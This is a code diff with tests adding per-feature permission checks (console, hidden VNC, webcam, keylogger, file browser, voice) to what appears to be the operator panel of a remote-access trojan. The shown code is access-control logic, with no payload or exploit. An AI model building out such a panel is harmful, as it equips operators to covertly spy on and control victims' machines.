mockServer,
|
||||||
|
);
|
||||||
|
expect(res).not.toBeNull();
|
||||||
|
expect(res!.status).toBe(401);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("/api/auth/feature-check", () => {
|
||||||
|
test("operator with allowed feature and accessible client returns allowed=true", async () => {
|
||||||
|
const auth = await createTokenFor("operator");
|
||||||
|
try {
|
||||||
|
setUserClientAccessScope(auth.userId, "all");
|
||||||
|
|
||||||
|
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
expect(res!.status).toBe(200);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.allowed).toBe(true);
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("operator with revoked feature returns allowed=false with reason 'feature'", async () => {
|
||||||
|
const auth = await createTokenFor("operator");
|
||||||
|
try {
|
||||||
|
setUserClientAccessScope(auth.userId, "all");
|
||||||
|
setUserFeaturePermission(auth.userId, "webcam", false);
|
||||||
|
|
||||||
|
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
expect(res!.status).toBe(200);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.allowed).toBe(false);
|
||||||
|
expect(body.denied).toContain("feature");
|
||||||
|
expect(body.denied).not.toContain("client");
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("operator without client access returns allowed=false with reason 'client'", async () => {
|
||||||
|
const auth = await createTokenFor("operator");
|
||||||
|
try {
|
||||||
|
// default client_scope=none
|
||||||
|
|
||||||
|
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
expect(res!.status).toBe(200);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.allowed).toBe(false);
|
||||||
|
expect(body.denied).toContain("client");
|
||||||
|
expect(body.denied).not.toContain("feature");
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("both feature and client denied returns both reasons", async () => {
|
||||||
|
const auth = await createTokenFor("operator");
|
||||||
|
try {
|
||||||
|
setUserFeaturePermission(auth.userId, "hvnc", false);
|
||||||
|
// client_scope stays "none" => no access
|
||||||
|
|
||||||
|
const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.allowed).toBe(false);
|
||||||
|
expect(body.denied).toContain("feature");
|
||||||
|
expect(body.denied).toContain("client");
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("viewer is denied every feature", async () => {
|
||||||
|
const auth = await createTokenFor("viewer");
|
||||||
|
try {
|
||||||
|
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.allowed).toBe(false);
|
||||||
|
expect(body.denied).toContain("feature");
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("admin is allowed every feature, even with no client_scope", async () => {
|
||||||
|
const auth = await createTokenFor("admin");
|
||||||
|
try {
|
||||||
|
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.allowed).toBe(true);
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("invalid feature name returns 400", async () => {
|
||||||
|
const auth = await createTokenFor("operator");
|
||||||
|
try {
|
||||||
|
const url = new URL("https://localhost/api/auth/feature-check?feature=not_a_feature&clientId=client-x");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
expect(res!.status).toBe(400);
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("unauthenticated request returns 401", async () => {
|
||||||
|
const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, { method: "GET" }),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
expect(res).not.toBeNull();
|
||||||
|
expect(res!.status).toBe(401);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("clientId is optional — feature-only check works without clientId", async () => {
|
||||||
|
const auth = await createTokenFor("operator");
|
||||||
|
try {
|
||||||
|
setUserFeaturePermission(auth.userId, "webcam", false);
|
||||||
|
|
||||||
|
const url = new URL("https://localhost/api/auth/feature-check?feature=webcam");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.allowed).toBe(false);
|
||||||
|
expect(body.denied).toEqual(["feature"]);
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -23,7 +23,7 @@ import {
|
|||||||
recordFailedAttempt,
|
recordFailedAttempt,
|
||||||
recordSuccessfulAttempt,
|
recordSuccessfulAttempt,
|
||||||
} from "../../rateLimit";
|
} from "../../rateLimit";
|
||||||
import { getUserById, canUserAccessClient, canUserAccessFeature, type FeatureName, ALL_FEATURES } from "../../users";
|
import { getUserById, canUserAccessClient, canUserAccessFeature, getUserFeaturePermissions, type FeatureName, ALL_FEATURES } from "../../users";
|
||||||
import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie";
|
import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie";
|
||||||
|
|
||||||
type RequestIpProvider = {
|
type RequestIpProvider = {
|
||||||
@@ -340,6 +340,7 @@ export async function handleAuthRoutes(
|
|||||||
}
|
}
|
||||||
|
|
||||||
const dbUser = getUserById(user.userId);
|
const dbUser = getUserById(user.userId);
|
||||||
|
const featurePermissions = getUserFeaturePermissions(user.userId);
|
||||||
|
|
||||||
return new Response(
|
return new Response(
|
||||||
JSON.stringify({
|
JSON.stringify({
|
||||||
@@ -349,6 +350,7 @@ export async function handleAuthRoutes(
|
|||||||
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
|
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
|
||||||
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
|
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
|
||||||
telegramChatId: dbUser?.telegram_chat_id || "",
|
telegramChatId: dbUser?.telegram_chat_id || "",
|
||||||
|
featurePermissions,
|
||||||
}),
|
}),
|
||||||
{
|
{
|
||||||
headers: { "Content-Type": "application/json" },
|
headers: { "Content-Type": "application/json" },
|
||||||
|
|||||||
@@ -4,7 +4,13 @@ import { join } from "path";
|
|||||||
import { tmpdir } from "os";
|
import { tmpdir } from "os";
|
||||||
import { generateToken } from "../../auth";
|
import { generateToken } from "../../auth";
|
||||||
import * as clientManager from "../../clientManager";
|
import * as clientManager from "../../clientManager";
|
||||||
import { createUser, deleteUser, getUserById } from "../../users";
|
import {
|
||||||
|
createUser,
|
||||||
|
deleteUser,
|
||||||
|
getUserById,
|
||||||
|
setUserClientAccessScope,
|
||||||
|
setUserFeaturePermission,
|
||||||
|
} from "../../users";
|
||||||
import { handleFileDownloadRoutes } from "./file-download-routes";
|
import { handleFileDownloadRoutes } from "./file-download-routes";
|
||||||
|
|
||||||
const PASSWORD = "Aa1!RouteUploadTestPass123";
|
const PASSWORD = "Aa1!RouteUploadTestPass123";
|
||||||
@@ -249,3 +255,315 @@ describe("file upload route flow", () => {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
async function createOperatorToken(opts: { fileBrowserAllowed: boolean; clientScope?: "none" | "all" } = { fileBrowserAllowed: true, clientScope: "all" }) {
|
||||||
|
const username = `op_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`;
|
||||||
|
const created = await createUser(username, PASSWORD, "operator", "test");
|
||||||
|
expect(created.success).toBe(true);
|
||||||
|
expect(typeof created.userId).toBe("number");
|
||||||
|
|
||||||
|
const userId = created.userId!;
|
||||||
|
setUserClientAccessScope(userId, opts.clientScope ?? "all");
|
||||||
|
setUserFeaturePermission(userId, "file_browser", opts.fileBrowserAllowed);
|
||||||
|
|
||||||
|
const user = getUserById(userId);
|
||||||
|
expect(user).not.toBeNull();
|
||||||
|
|
||||||
|
const token = await generateToken(user!);
|
||||||
|
return { userId, token };
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("file route feature_browser enforcement", () => {
|
||||||
|
test("upload request returns 403 when file_browser is denied", async () => {
|
||||||
|
const auth = await createOperatorToken({ fileBrowserAllowed: false });
|
||||||
|
const clientId = `client-${Date.now().toString(36)}`;
|
||||||
|
const dataDir = await createTempDataDir();
|
||||||
|
const deps = makeRouteDeps(dataDir);
|
||||||
|
|
||||||
|
clientManager.addClient(clientId, {
|
||||||
|
id: clientId,
|
||||||
|
lastSeen: Date.now(),
|
||||||
|
role: "client",
|
||||||
|
ws: { send: () => {} },
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
const requestUrl = new URL("https://localhost/api/file/upload/request");
|
||||||
|
const res = await handleFileDownloadRoutes(
|
||||||
|
new Request(requestUrl, {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Authorization: `Bearer ${auth.token}`,
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
clientId,
|
||||||
|
path: "C:\\Games\\big.iso",
|
||||||
|
fileName: "big.iso",
|
||||||
|
}),
|
||||||
|
}),
|
||||||
|
requestUrl,
|
||||||
|
mockServer,
|
||||||
|
deps,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(res).not.toBeNull();
|
||||||
|
expect(res!.status).toBe(403);
|
||||||
|
expect(await res!.text()).toContain("feature access denied");
|
||||||
|
} finally {
|
||||||
|
clientManager.deleteClient(clientId);
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
await removeTempDataDir(dataDir);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("download request returns 403 when file_browser is denied", async () => {
|
||||||
|
const auth = await createOperatorToken({ fileBrowserAllowed: false });
|
||||||
|
const clientId = `client-${Date.now().toString(36)}`;
|
||||||
|
const dataDir = await createTempDataDir();
|
||||||
|
const deps = makeRouteDeps(dataDir);
|
||||||
|
|
||||||
|
clientManager.addClient(clientId, {
|
||||||
|
id: clientId,
|
||||||
|
lastSeen: Date.now(),
|
||||||
|
role: "client",
|
||||||
|
ws: { send: () => {} },
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
const requestUrl = new URL("https://localhost/api/file/download/request");
|
||||||
|
const res = await handleFileDownloadRoutes(
|
||||||
|
new Request(requestUrl, {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Authorization: `Bearer ${auth.token}`,
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
clientId,
|
||||||
|
path: "C:\\secret\\data.bin",
|
||||||
|
}),
|
||||||
|
}),
|
||||||
|
requestUrl,
|
||||||
|
mockServer,
|
||||||
|
deps,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(res).not.toBeNull();
|
||||||
|
expect(res!.status).toBe(403);
|
||||||
|
expect(await res!.text()).toContain("feature access denied");
|
||||||
|
} finally {
|
||||||
|
clientManager.deleteClient(clientId);
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
await removeTempDataDir(dataDir);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("client_access check still beats feature check when client access is missing", async () => {
|
||||||
|
// If both are denied, client access fires first — guards against misordered checks.
|
||||||
|
const auth = await createOperatorToken({ fileBrowserAllowed: false, clientScope: "none" });
|
||||||
|
const clientId = `client-${Date.now().toString(36)}`;
|
||||||
|
const dataDir = await createTempDataDir();
|
||||||
|
const deps = makeRouteDeps(dataDir);
|
||||||
|
|
||||||
|
clientManager.addClient(clientId, {
|
||||||
|
id: clientId,
|
||||||
|
lastSeen: Date.now(),
|
||||||
|
role: "client",
|
||||||
|
ws: { send: () => {} },
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
const requestUrl = new URL("https://localhost/api/file/upload/request");
|
||||||
|
const res = await handleFileDownloadRoutes(
|
||||||
|
new Request(requestUrl, {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Authorization: `Bearer ${auth.token}`,
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
clientId,
|
||||||
|
path: "C:\\Games\\big.iso",
|
||||||
|
fileName: "big.iso",
|
||||||
|
}),
|
||||||
|
}),
|
||||||
|
requestUrl,
|
||||||
|
mockServer,
|
||||||
|
deps,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(res).not.toBeNull();
|
||||||
|
expect(res!.status).toBe(403);
|
||||||
|
expect(await res!.text()).toContain("client access denied");
|
||||||
|
} finally {
|
||||||
|
clientManager.deleteClient(clientId);
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
await removeTempDataDir(dataDir);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("upload stage PUT returns 403 when file_browser is revoked after intent creation", async () => {
|
||||||
|
const auth = await createOperatorToken({ fileBrowserAllowed: true });
|
||||||
|
const clientId = `client-${Date.now().toString(36)}`;
|
||||||
|
const dataDir = await createTempDataDir();
|
||||||
|
const deps = makeRouteDeps(dataDir);
|
||||||
|
|
||||||
|
clientManager.addClient(clientId, {
|
||||||
|
id: clientId,
|
||||||
|
lastSeen: Date.now(),
|
||||||
|
role: "client",
|
||||||
|
ws: { send: () => {} },
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
const requestUrl = new URL("https://localhost/api/file/upload/request");
|
||||||
|
const requestRes = await handleFileDownloadRoutes(
|
||||||
|
new Request(requestUrl, {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Authorization: `Bearer ${auth.token}`,
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
clientId,
|
||||||
|
path: "C:\\Games\\small.bin",
|
||||||
|
fileName: "small.bin",
|
||||||
|
}),
|
||||||
|
}),
|
||||||
|
requestUrl,
|
||||||
|
mockServer,
|
||||||
|
deps,
|
||||||
|
);
|
||||||
|
expect(requestRes!.status).toBe(200);
|
||||||
|
const requestJson = (await requestRes!.json()) as any;
|
||||||
|
|
||||||
|
// Revoke after the intent has been created.
|
||||||
|
setUserFeaturePermission(auth.userId, "file_browser", false);
|
||||||
|
|
||||||
|
const stageUrl = new URL(`https://localhost${requestJson.uploadUrl}`);
|
||||||
|
const stageRes = await handleFileDownloadRoutes(
|
||||||
|
new Request(stageUrl, {
|
||||||
|
method: "PUT",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
body: new TextEncoder().encode("hello"),
|
||||||
|
}),
|
||||||
|
stageUrl,
|
||||||
|
mockServer,
|
||||||
|
deps,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(stageRes).not.toBeNull();
|
||||||
|
expect(stageRes!.status).toBe(403);
|
||||||
|
expect(await stageRes!.text()).toContain("feature access denied");
|
||||||
|
} finally {
|
||||||
|
clientManager.deleteClient(clientId);
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
await removeTempDataDir(dataDir);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("download serve returns 403 when file_browser is revoked after intent creation", async () => {
|
||||||
|
const auth = await createOperatorToken({ fileBrowserAllowed: true });
|
||||||
|
const clientId = `client-${Date.now().toString(36)}`;
|
||||||
|
const dataDir = await createTempDataDir();
|
||||||
|
const deps = makeRouteDeps(dataDir);
|
||||||
|
|
||||||
|
clientManager.addClient(clientId, {
|
||||||
|
id: clientId,
|
||||||
|
lastSeen: Date.now(),
|
||||||
|
role: "client",
|
||||||
|
ws: { send: () => {} },
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
const requestUrl = new URL("https://localhost/api/file/download/request");
|
||||||
|
const requestRes = await handleFileDownloadRoutes(
|
||||||
|
new Request(requestUrl, {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Authorization: `Bearer ${auth.token}`,
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
clientId,
|
||||||
|
path: "C:\\Games\\file.bin",
|
||||||
|
}),
|
||||||
|
}),
|
||||||
|
requestUrl,
|
||||||
|
mockServer,
|
||||||
|
deps,
|
||||||
|
);
|
||||||
|
expect(requestRes!.status).toBe(200);
|
||||||
|
const requestJson = (await requestRes!.json()) as any;
|
||||||
|
expect(typeof requestJson.downloadUrl).toBe("string");
|
||||||
|
|
||||||
|
// Revoke after the intent has been created.
|
||||||
|
setUserFeaturePermission(auth.userId, "file_browser", false);
|
||||||
|
|
||||||
|
const downloadUrl = new URL(`https://localhost${requestJson.downloadUrl}`);
|
||||||
|
const downloadRes = await handleFileDownloadRoutes(
|
||||||
|
new Request(downloadUrl, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
downloadUrl,
|
||||||
|
mockServer,
|
||||||
|
deps,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(downloadRes).not.toBeNull();
|
||||||
|
expect(downloadRes!.status).toBe(403);
|
||||||
|
expect(await downloadRes!.text()).toContain("feature access denied");
|
||||||
|
} finally {
|
||||||
|
clientManager.deleteClient(clientId);
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
await removeTempDataDir(dataDir);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("upload request succeeds for operator with file_browser allowed (positive control)", async () => {
|
||||||
|
const auth = await createOperatorToken({ fileBrowserAllowed: true });
|
||||||
|
const clientId = `client-${Date.now().toString(36)}`;
|
||||||
|
const dataDir = await createTempDataDir();
|
||||||
|
const deps = makeRouteDeps(dataDir);
|
||||||
|
|
||||||
|
clientManager.addClient(clientId, {
|
||||||
|
id: clientId,
|
||||||
|
lastSeen: Date.now(),
|
||||||
|
role: "client",
|
||||||
|
ws: { send: () => {} },
|
||||||
|
});
|
||||||
|
|
||||||
|
try {
|
||||||
|
const requestUrl = new URL("https://localhost/api/file/upload/request");
|
||||||
|
const res = await handleFileDownloadRoutes(
|
||||||
|
new Request(requestUrl, {
|
||||||
|
method: "POST",
|
||||||
|
headers: {
|
||||||
|
"Content-Type": "application/json",
|
||||||
|
Authorization: `Bearer ${auth.token}`,
|
||||||
|
},
|
||||||
|
body: JSON.stringify({
|
||||||
|
clientId,
|
||||||
|
path: "C:\\Games\\ok.bin",
|
||||||
|
fileName: "ok.bin",
|
||||||
|
}),
|
||||||
|
}),
|
||||||
|
requestUrl,
|
||||||
|
mockServer,
|
||||||
|
deps,
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(res).not.toBeNull();
|
||||||
|
expect(res!.status).toBe(200);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.ok).toBe(true);
|
||||||
|
expect(typeof body.uploadUrl).toBe("string");
|
||||||
|
} finally {
|
||||||
|
clientManager.deleteClient(clientId);
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
await removeTempDataDir(dataDir);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ import { logger } from "../../logger";
|
|||||||
import { encodeMessage } from "../../protocol";
|
import { encodeMessage } from "../../protocol";
|
||||||
import { getConfig } from "../../config";
|
import { getConfig } from "../../config";
|
||||||
import { isAuthorizedAgentRequest } from "../agent-auth";
|
import { isAuthorizedAgentRequest } from "../agent-auth";
|
||||||
import { canUserAccessClient } from "../../users";
|
import { canUserAccessClient, canUserAccessFeature } from "../../users";
|
||||||
|
|
||||||
type RequestIpProvider = {
|
type RequestIpProvider = {
|
||||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||||
@@ -160,6 +160,10 @@ async function serveDownloadById(
|
|||||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
|
||||||
|
return new Response("Forbidden: feature access denied", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
logger.debug("[filebrowser] http download request", {
|
logger.debug("[filebrowser] http download request", {
|
||||||
downloadId,
|
downloadId,
|
||||||
userId: user.userId,
|
userId: user.userId,
|
||||||
@@ -363,6 +367,10 @@ export async function handleFileDownloadRoutes(
|
|||||||
return new Response("Forbidden: client access denied", { status: 403 });
|
return new Response("Forbidden: client access denied", { status: 403 });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
|
||||||
|
return new Response("Forbidden: feature access denied", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
logger.debug("[filebrowser] http upload request", {
|
logger.debug("[filebrowser] http upload request", {
|
||||||
userId: user.userId,
|
userId: user.userId,
|
||||||
clientId,
|
clientId,
|
||||||
@@ -408,6 +416,10 @@ export async function handleFileDownloadRoutes(
|
|||||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
|
||||||
|
return new Response("Forbidden: feature access denied", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
let uploadId = "";
|
let uploadId = "";
|
||||||
try {
|
try {
|
||||||
uploadId = decodeURIComponent(url.pathname.slice("/api/file/upload/".length));
|
uploadId = decodeURIComponent(url.pathname.slice("/api/file/upload/".length));
|
||||||
@@ -651,6 +663,10 @@ export async function handleFileDownloadRoutes(
|
|||||||
return new Response("Forbidden: client access denied", { status: 403 });
|
return new Response("Forbidden: client access denied", { status: 403 });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (!canUserAccessFeature(user.userId, user.role as any, "file_browser")) {
|
||||||
|
return new Response("Forbidden: feature access denied", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
const target = clientManager.getClient(clientId);
|
const target = clientManager.getClient(clientId);
|
||||||
if (!target) {
|
if (!target) {
|
||||||
return new Response("Client offline", { status: 404 });
|
return new Response("Client offline", { status: 404 });
|
||||||
|
|||||||
@@ -0,0 +1,249 @@
|
|||||||
|
import { describe, expect, test } from "bun:test";
|
||||||
|
import {
|
||||||
|
ALL_FEATURES,
|
||||||
|
canUserAccessFeature,
|
||||||
|
createUser,
|
||||||
|
deleteUser,
|
||||||
|
getUserByUsername,
|
||||||
|
getUserFeaturePermissions,
|
||||||
|
resetUserFeaturePermissions,
|
||||||
|
setUserFeaturePermission,
|
||||||
|
setUserFeaturePermissions,
|
||||||
|
type FeatureName,
|
||||||
|
} from "./users";
|
||||||
|
|
||||||
|
const createdUserIds: number[] = [];
|
||||||
|
|
||||||
|
async function createTempUser(role: "viewer" | "operator" | "admin") {
|
||||||
|
const username = `fp_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`;
|
||||||
|
const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test");
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
const user = getUserByUsername(username);
|
||||||
|
expect(user).not.toBeNull();
|
||||||
|
createdUserIds.push(user!.id);
|
||||||
|
return user!;
|
||||||
|
}
|
||||||
|
|
||||||
|
function cleanupCreatedUsers() {
|
||||||
|
while (createdUserIds.length > 0) {
|
||||||
|
const id = createdUserIds.pop();
|
||||||
|
if (typeof id === "number") {
|
||||||
|
deleteUser(id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("feature permissions", () => {
|
||||||
|
test("ALL_FEATURES contains the expected feature keys", () => {
|
||||||
|
expect(ALL_FEATURES).toEqual([
|
||||||
|
"console",
|
||||||
|
"remote_desktop",
|
||||||
|
"hvnc",
|
||||||
|
"webcam",
|
||||||
|
"file_browser",
|
||||||
|
"processes",
|
||||||
|
"keylogger",
|
||||||
|
"voice",
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("admin always has every feature regardless of stored overrides", async () => {
|
||||||
|
try {
|
||||||
|
const admin = await createTempUser("admin");
|
||||||
|
|
||||||
|
for (const f of ALL_FEATURES) {
|
||||||
|
expect(canUserAccessFeature(admin.id, admin.role, f)).toBe(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Even an explicit deny is ignored for admin role.
|
||||||
|
setUserFeaturePermission(admin.id, "webcam", false);
|
||||||
|
expect(canUserAccessFeature(admin.id, "admin", "webcam")).toBe(true);
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("viewer is denied every feature regardless of stored overrides", async () => {
|
||||||
|
try {
|
||||||
|
const viewer = await createTempUser("viewer");
|
||||||
|
|
||||||
|
for (const f of ALL_FEATURES) {
|
||||||
|
expect(canUserAccessFeature(viewer.id, viewer.role, f)).toBe(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Granting access to a viewer at the per-feature level does not promote them.
|
||||||
|
setUserFeaturePermission(viewer.id, "console", true);
|
||||||
|
expect(canUserAccessFeature(viewer.id, "viewer", "console")).toBe(false);
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("operator defaults to having every feature enabled", async () => {
|
||||||
|
try {
|
||||||
|
const operator = await createTempUser("operator");
|
||||||
|
|
||||||
|
for (const f of ALL_FEATURES) {
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, f)).toBe(true);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("setUserFeaturePermission disables a single feature for an operator", async () => {
|
||||||
|
try {
|
||||||
|
const operator = await createTempUser("operator");
|
||||||
|
|
||||||
|
const result = setUserFeaturePermission(operator.id, "webcam", false);
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, "webcam")).toBe(false);
|
||||||
|
// Other features remain enabled.
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, "console")).toBe(true);
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, "file_browser")).toBe(true);
|
||||||
|
} finally {
|
||||||
|
cleanupCreatedUsers();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("setUserFeaturePermission can re-enable a previously denied feature", async () => {
|
||||||
|
try {
|
||||||
|
const operator = await createTempUser("operator");
|
||||||
|
|
||||||
|
setUserFeaturePermission(operator.id, "hvnc", false);
|
||||||
|
expect(canUserAccessFeature(operator.id, operator.role, "hvnc")).toBe(false);
|
||||||
|
|
||||||
|
setUserFeaturePermission(operator.id, "hvnc", true);
|
||||||
|
